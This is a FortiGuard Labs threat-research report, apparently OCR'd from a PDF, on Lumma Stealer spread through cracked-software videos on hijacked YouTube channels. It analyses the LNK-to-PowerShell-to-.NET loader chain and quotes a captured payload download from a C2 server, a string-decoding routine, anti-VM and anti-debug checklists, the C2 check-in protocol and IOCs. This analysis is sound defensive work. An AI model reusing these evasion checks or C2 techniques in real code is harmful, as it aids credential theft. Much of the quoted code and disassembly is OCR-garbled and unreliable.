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Deceptive Cracked Software Spreads Lumma Variant on YouTube
| FortiGuard Labs

By Cara Lin
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Affected Platforms: Microsoft Windows
Impacted Users: Microsoft Windows
Impact: The information collected can be used for future attacks

Severity Level: High

FortiGuard Labs recently discovered a threat group using YouTube channels to distribute a Lumma Stealer variant.
We found and reported on a similar attack method via YouTube in March 2023. These YouTube videos typically
feature content related to cracked applications, presenting users with similar installation guides and incorporating
malicious URLs often shortened using services like TinyURL and Cuttly. To circumvent straightforward web filter
blacklists, the attackers exploit open-source platforms like GitHub and MediaFire instead of deploying their
malicious servers. In this case, the shared links lead to the direct download of a new private .NET loader

responsible for fetching the final malware, Lumma Stealer.

Lumma Stealer targets sensitive information, including user credentials, system details, browser data, and
extensions. It has been advertised on the dark web and a Telegram channel since 2022, with over a dozen observed
command-and-control (C2) servers in the wild and multiple updates. Figure 1 shows Lumma Stealer's C2 server

telemetry, illustrating a global presence with a peak observed in December.

In this article, we will elaborate on each stage's behaviors that facilitated the stealer's distribution.
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Figure 2: Attack flow

Initial Infection Vector

The hacker initially breaches a YouTuber's account and uploads videos masquerading as sharing cracked software.
Figure 3 shows the video descriptions in which a malicious URL is embedded, enticing users to download a ZIP
file that harbors malicious content for the next stage of the attack. The videos were uploaded earlier this year, but
the files on the file-sharing site receive regular updates (Figure 4), and the number of downloads keeps growing.

This indicates that the ZIP file is always new and that this method effectively spreads malware.
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Figure 3: The hacked YouTube Channel with a similar fake software installation guide
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Figure 4: The malicious files updated on MediaFire

The ZIP file, “installer_Full_Version_V.1f2.zip,” contains an LNK file that calls PowerShell to download a .NET
execution file via the GitHub repository “New” owned by John1323456 (Figure 6). The abbreviated URL,
“hxxp://cutt[.]ly/lwD7B7lp,” connects to “hxxps://github[.]Jcom/John1323456/New/raw/main/Installer-Install-
2023_v0y.6.6[.]exe.” The other two repositories, “LNK” and “LNK-EXx,” also include NET loaders and spread
InfoStealer as the final payload.
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Figure 5: Malicious LNK file content
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Figure 6: .NET executable on GitHub

.NET Executable — Installer-Install-2023_v0y.6.6.exe

The private .NET loader is obfuscated with SmartAssembly. It first gets the system’s environment value, shown in

Figure 7. Once the number of the data is correct, it proceeds to load the PowerShell script. Otherwise, it exits the

program.
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Figure 7: Getting the system’s information by GetEnvironmentVariables()

Figure 8 shows the construction of a dictionary that defines the following properties of the ProcessStartInfo object

that the malicious code uses to execute discreetly and avoid raising suspicion from its victims:

e RedirectStandardInput: This property set to true enables the redirection of the standard input stream of the
process.

e CreateNoWindow: This property set to true indicates that the process should not create a visible window
when it starts. It allows the executed command or script to run without displaying a command prompt
window.

e UseShellExecute: This property set to false specifies that the process should not use the user's default shell

for execution. Instead, the process is executed directly.
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Figure 8: The ProcessStartInfo dictionary

Next, the ProcessStartInfo object is employed to launch the PowerShell process, wherein the PowerShell script is

directed to the process's standard input. Figure 9 illustrates a portion of the code and the newly generated process.
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Figure 9: Creates process and loads the PowerShell script

Figure 10 shows the partial PowerShell code from the private .NET loader. The script encodes the server IP
address in Base64 and encompasses four servers. It assesses the system date, choosing the appropriate IP to
retrieve encrypted binary data. To obfuscate analysis, the script incorporates a substantial amount of extraneous

code. Figure 11 shows captured traffic downloaded from the first server, 176[.]113[.]115[.]224:29983.
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Figure 10: Downloaded encrypted data from a server
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GET /75841 HTTP/1.1 ey
Host: 176.113.115.224:29983
Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.18.8 (Ubuntu)

Date: Wed, 27 Dec 2023 ©8:44:28 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1083648

Connection: keep-alive

rOhZMWZIScnTKUWSCq40BM8TspoelrtdIFfc3APkpjAGXDYNOUZ IUKEPYVDGETLExkE66QgNBIsmgGchkVeQW19RFLSe
/AY1/Eu2B9husnh+fDZOBvopyPz8iaTKmsY400nUTpcGTR+2NN90Q+6138DHNGLQCTyHMKDOXBIvwdDL3EUT/cvWezl
ht6bpARvefUDp/ vSMINY jOBIKXOJYGEANXUE 7ulwf 35+URBhIY11wUhgZ@5wWat0e0iYIIb3C5aQz1VrkIme/PNdb3a
Cyr5tZ886HmSaiBDn4xnt6bVELhD7VxvHVERGOVAUQSSXUPSCRTrSYIMxzo7BaeHtCDNjCnOcE+wi/ cBxjy9CCas/
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PtqEvP4g22BnjHpHNYZZ@BzT7EvOZgXSShukNSp/ aF cQkCEFNRhRIDVQwtNZxN/yvYTszEWbY581lu9KoiXnidiiquwn
wMPNbM39z6d1WuLSZ8CZNHN+/dvzEeVkEagkEMAIQeUPGcoGz91eFx11WKSqGE6/akKz2K2XcDiiKDOB1 /0tGIwr2IgnE
t6al9CTVeS15FgDYCfdxfaVeKEIDkM3zpBKIwQdewjhTvQgkaBsGpHLgFmBsynYDPxulkWngto3bukquXzRCQFM3QU
Qhodiwvej2tBu72INI7hjtMee7VHpI20pUvDG1IhiD1xI7gH2nTRWDNSNBpg4oDLhbD750zaP++D3UAIgvDdol11A2
HNEQROMLEpGDLSGXCYMKLA+nV2GehIdAXBYVCNSVIVXUIIY 1y lyOUd rXN9DD68VEQu7 2BY tAXHE BNmVUVmmMVQBF sqq
U3CgBKaGZDgoybH]lsyhcaEoxTi2GDIbi8ESamrI¥YSd59Hb2Irvpsqen5d5onjsbZQ4013ZYhUmiOKY+nKSHBAZ7ISX
qH4xP3DU4qHGZDzbcWSX8alvRb3LWwE7WBOQtHE18qlzbEZva2@2TSIHZp3ab8CKeIMVEDzLptSrParxu+xMAZQUGKE
bByKOtxEtvISNIdBf9eSVko3LDAckIpzKI0gDAXbkzKeVDg00xVpSEI6EMIXIKTgSurdlmnQpzV1YPindv3pTxCXmU
cYPvukil8@uanAcUchTr0iDZsc9M4McaHMKTIDOING lemMifWFGRr6Mh 35P zHD3MKERcdPXpRMIVAKGjTkrrUtock
AHAZQglwkmbL9nRa0p5Vsh/S35UIvkGN/+uoMdFtt2PVSno3aips/YUpX4zGwyGpAMLKDecSyIMfxaciRNBUg4giSk

Figure 11: The encrypted data from a remote server

After receiving the data, the script decrypts it using AES CBC, followed by GZip decompression to obtain the
DLL file for the next stage. It then invokes the DLL file with a specific method and type via
“[System.Reflection. Assembly]::Load(),” as shown in Figure 12.
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Figure 12: Loads decrypted data for the next stage

DLL File — Agacantwhitey.dll

Figure 13 shows the targeted function “PerkyRiggal,” which is pivotal in inspecting the system and environment.
It employs several PNG files in the Resources section to decipher the ultimate payload of Lumma Stealer. To
avoid detection, the file encodes all its strings using the "BygoLarchen" method. Figure 14 demonstrates the

function of decoding the target text with a predefined key string.
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Figure 13: Targeted method and Resources in Agacantwhitey.dll
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Larehen(string DigitusCornix, int MetusiaCornix)

tring text = "NoRrQ%]OXwGj@Pbe2:YmsIg8 C?H$A35;tp7Wl
(v46z><nVh'+uil"9.elS&Bcky)FK#,dU-DTZgMf[=ExLa";
int num = MetusiaCornix % text. H
StringBuilder stringBuilder = new StringBuilder();
~each (char ¢ in DigitusCornix)

int num2 = text.Inc f(c);

1f (num2 < @)
{

stringBuilder.Append(c);

num2 = (num2 - num + text. ) % text.
stringBuilder.Append(text[num2]);

stringBuilder.ToString();

Figure 14: The method for decoding strings
It checks the following items to achieve Anti-VM and Anti-Debug:

e Verifies the user's active window by invoking “GetForegroundWindow” and assesses whether it contains

any of the specified remote debugger strings, “x32dbg,” “x64dbg,” “windbg,” “ollydbg,” “dnspy,”

» «

“immunity debugger,” “hyperdbg,” “debug,” “debugger,” “cheat engine,” “cheatengine,” “ida.”

e Checks for the following modules about security appliances or sandboxes, “SbieDIl.dll” (Sandboxie),
“cmdvrt64.dl1” (Comodo Antivirus), “cuckoomon.dll” (Cuckoo Sandbox), and “SxIn.dll” (360 Total
Security). It then attempts to locate wine_get_unix_file_name to determine if Wine is being used in an
analysis environment.

» «

o Examines the presence of the following sandbox usernames: “Johnson,” “Miller,” “malware,” “maltest,”
“CurrentUser,” “Sandbox,” “virus,” “John Doe,” “test user,” “sand box,” and “WDAGUtilityAccount.”

o Detects the presence of popular virtualization platforms via WMI queries “Select * from
Win32_ComputerSystem” to retrieve information about the computer system, including the manufacturer
and model. It then examines the manufacturer names, such as “innotek gmbh” (associated with VirtualBox)
and “microsoft corporation” (often linked to Hyper-V), along with the model names “VirtualBox” and
“vmware.” It also checks for directory “C:\Program Files\VMware” and “C:\Program
Files\oracle\virtualbox guest additions.”

e Checks if the following files exist in folder “C:\Windows\system32\,” which are indicative of a virtualized

» « » » 2«

environment presence: “balloon.sys,” “netkvm.sys,” “vioinput,” “viofs.sys,” “vioser.sys,”

“VBoxMouse.sys,” “VBoxGuest.sys,” “VBoxSF.sys,” “VBoxVideo.sys,” “vmmouse.sys,” and
“vboxogl.dll.”
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e Checks the following system services: "vmbus," "VMBusHID," and "hyperkbd."

"o

 Inspects the following process names: "vboxservice," "VGAuthService," "vmusrve," and "gemu-ga."

After completing all environment checks, the program decrypts the resource data and invokes the
"SuspendThread" function. This function is employed to transition the thread into a "suspended" state, a crucial
step in the process of payload injection (see Figure 15).

BygeCornix

s Microsoft.NET\\Framew:

ot ]

o |

ix.DotardyIndart.

e |

perronFission,

magusDizz

", 7))

(magusDizz.Id), RanulaSyre,
3

130% -

Memory 1

Figure 15: Inject the final payload

Lumma Stealer Variant

Lumma stealer is a type of malware that can steal sensitive information from a user’s computer. It can target the
system data, the browsers, crypto wallets, and browser extensions. It is written in C language and sold on
underground forums. To elude detection and analysis, it employs diverse obfuscation techniques. The malware
establishes communication with a command and control server, facilitating the exchange of instructions and

transmitting pilfered data.

Figure 16 shows the method to contact a command and control (C2) server. Once it gets the first server that can
set up a connection, it then sends out a POST message with hardcoded User-Agent “Mozilla/5.0 (Windows NT
10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36“ and parameter

“act=life” to check-in. The corresponding code is shown in Figure 17.
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Figure 16: Resolve the C2 server list

push 0

push 188

push dword ptr ss:[ebp ]

mov dword ptr SS.[ES.’J 14§, eax

push eax

€al1 dword ptr ds:[=&winHttpConnect>]

Test eax,eax

je €07023el.S0DAGC
dwao

o0
68 BEOLOODODO
FF75 08
894424 18
50
FF1l5 S5B8965400
85C0

OF84 67020000

B93CZ4 00010000 mov rd ptr ss:lfesprioof, ebx

B9 6TC2EGFS mov ecx,FSEECIET

BA 3E056D03 mov edx, 86D05 35

B95424 24 mov dword ptr ss:|fesprz4], edx
B94C24 20 mov dword ptr ss:[eso-z ].ecx

31C9 XOr eCx,ecx

BIF2 mov edx,esi

8B00 5C365400 mov ecx,dword ptr ds: [ <éwinHtTpOpenk equ
B90C24 mov dword ptr ss:[fespl,ecx

BBSCZ4 14 mov ebx,dword ptr ss: +14]
895C24 2¢ mov dword ptr ss:|fespr2cy,ebx
BB4aCZ4 18 mov ecx,dword ptr ss:esp+15)
BI4C24 28 mov dword ptr ss:llesprzal,ecx
BBTC24 1C mov edi,dword ptr ss éSD-rLL]
B9BC24 24010000 mov dword ptr ss:esp+124);edi
BB7C24 10 mov edi,dword ptr ss:lesp+10]
898C24 20010000 mov dword ptr ssiffesprizod,edi
B833C24 2C010000 mov dword ptr s5:fesp+12c],ebx
B9B8C2Z4 28010000 mov dword ptr ss:fesp+12&],ecx
0OF284424 20 movaps xmm0,xmmword prr ssifesp+20f
OF5702 Xorps xmmo,xmmword ptr ds: [edx]
31DB xor ebx,ebx

0F294424 20 movaps xmmword prr ss:Qesp+zof, xmmo
83EC 1C sub esp,1C

66:0FGF0S BOGBS 300

movdga xmm0,xmmword ptr ds:[536BED]
F3:0F7F4424 OC .

movdqu xmmword ptr ss:fespic

553

mov ecx,dword ptr_ss:[Eebp+Cl
B94C24 0B mov dword ptr ss:[fesp+sl,ecx
BD4C24 3C 1ea ecx,dword ptr ss:ffesp+3c)
894C24 04 mov dword ptr :E:[es:--‘]‘ecx
B94424 20 mov dword ptr ss:ffesp+20f, eax
5590424 mov dword ptr ss:fespl, eax
FF5424 1C call dmrd Dtr s5:[esp-ic]
BECO test eax,
OF&4 DS0L0000 Je 60?033ei SODATE
89CT mov edi,eax

BEEE 14
884D 10
2030 SC9ASA00 00

mov edx,dwnrd ptr s ebp+14

mov ecx,dword prr ss:febp+io
cmp bvte ptr ds:[54949C7.0

[dword ptr ss:

ecx:L"POST"
ecx:L"POST"

ecx:L"POST"

[dword ptr ss:

:nwnrn ptr ss:

{dword pir s

[ebp+0B] ] :L"chincenterblandwka. pw"
[esp+1C] ] iwinHTTpOpENR 2qQUEST
[ebp+0C]

Sp+0

15 program (B.I'Int}t pe run in DOS mode.3$™
L'

[esp+04]]:L"POST"

[dword pir ss:[esp+lC]]:WinHtipOpenRequest

[dword ptr ss:
[dword ptr ss:

[ebp+1
[ebp+1

act=Tife"
L"Content-Type:

applicarion/x—www-Torm-urlencodedirin®™

Figure 17: Sending check-in message to C2 server

Next, it sends a POST request with the Lumma ID and “act=receive-message,”

shown in Figure 18. Then, the

compressed stolen data is uploaded to the C2 server with URI “/api.” Although the version is still “4.0,” Lumma

Stealer has recently updated its exfiltration to leverage HTTPS to better evade detection.
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BO04 24 moy_ dword pLr ss: [espliL"Mozilla/5.0 (windows NT 10,8 wingd; x64) applewebrit/55
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Figure 18: POST request to C2 server with Lumma ID “JVryU4--LNK”

return to atdll. rrEEoais frem srdll.73

Name Modified Size Packed Size CRC Cre:
[ system.txt 2023-114 | System.txt - Notepad — O X
Software.txt 2023-14 fije  Edit Format View Help
(5] Screen.png 2023-11- .
- PC: USER-PC
- User:
- Domain:
- Workgroup: USER-PC
- ComputerNameDnsHostname: USER-PC
- ComputerNameNetBIOS: USER-PC
- 0S Version: Windows 7 (6.1.0)
- HWID: v
CCACATCOODroNrNnANNDEArOCCACAANCNATDCTIr S
Ln 17, Col 100%  Unix (LF) UTF-2

Figure 19: The zip file

Conclusion

In this attack, the malicious actor targets YouTube channels to disseminate Lumma Stealer. The crafted installation

Z1IP file serves as an effective bait to deliver the payload, exploiting the user's intention to install the application

and prompting them to click the installation file without hesitation. URLs from open-source websites throughout

the scheme aim to diminish user awareness. The attackers further deploy a private .NET loader with environment

checks, various anti-virtual machine (Anti-VM), and anti-debugging functions. Users must exercise caution
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regarding unclear application sources and ensure legitimate applications from reputable and secure origins are

used.

Fortinet Protections

The malware described in this report are detected and blocked by FortiGuard Antivirus as:

W32/Stealer.QLD!tr
MSIL/Agent. WML!tr
MSIL/Kryptik.BJF!tr
LNK/Agent. WML!tr

FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard AntiVirus service. The FortiGuard
AntiVirus engine is a part of each of those solutions. As a result, customers who have these products with up-to-

date protections are protected.

The URLSs are rated as “Malicious Websites” by the FortiGuard Web Filtering service.

We also suggest that organizations go through the free Fortinet Certified Fundamentals (FCF) in Cybersecurity
training. The training is designed to help end users learn about today's threat landscape and will introduce basic

cybersecurity concepts and technology.

FortiGuard IP Reputation and Anti-Botnet Security Service proactively block these attacks by aggregating
malicious source IP data from the Fortinet distributed network of threat sensors, CERTs, MITRE, cooperative
competitors, and other global sources that collaborate to provide up-to-date threat intelligence about hostile

sources.

If you believe this or any other cybersecurity threat has impacted your organization, please contact our Global

FortiGuard Incident Response Team.

I0Cs

IP Addresses

176[.]113[.]1115[.]224
176[.]113[.]1115[.]226
176[.1113[.]115[.]227
176[.1113[.]J115[.]229
176[.]113[.]115[.]232

Hostnames

Netovremal.]pw
opposesicknessopw][.]pw
politefrightenpowoal.Jpw

chincenterblandwka[.]pw
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Files

48cbeb1b1cala7b3a9f6ac56273fbaf85e78c534e26fb2bcall52ecd7542af54
483672a00ea676236ea423c91d576542dc572be864a4162df031faf35897a532
01a23£8f59455eb97f55086c21be934e6e5db07e64acb6e63c8d358b763dabaf
7603c6dd9edca615d6dc3599970c203555b57e2cab208d87545188b57aa2c6b1

Source: https://www.fortinet.com/blog/threat-research/lumma-variant-on-youtube
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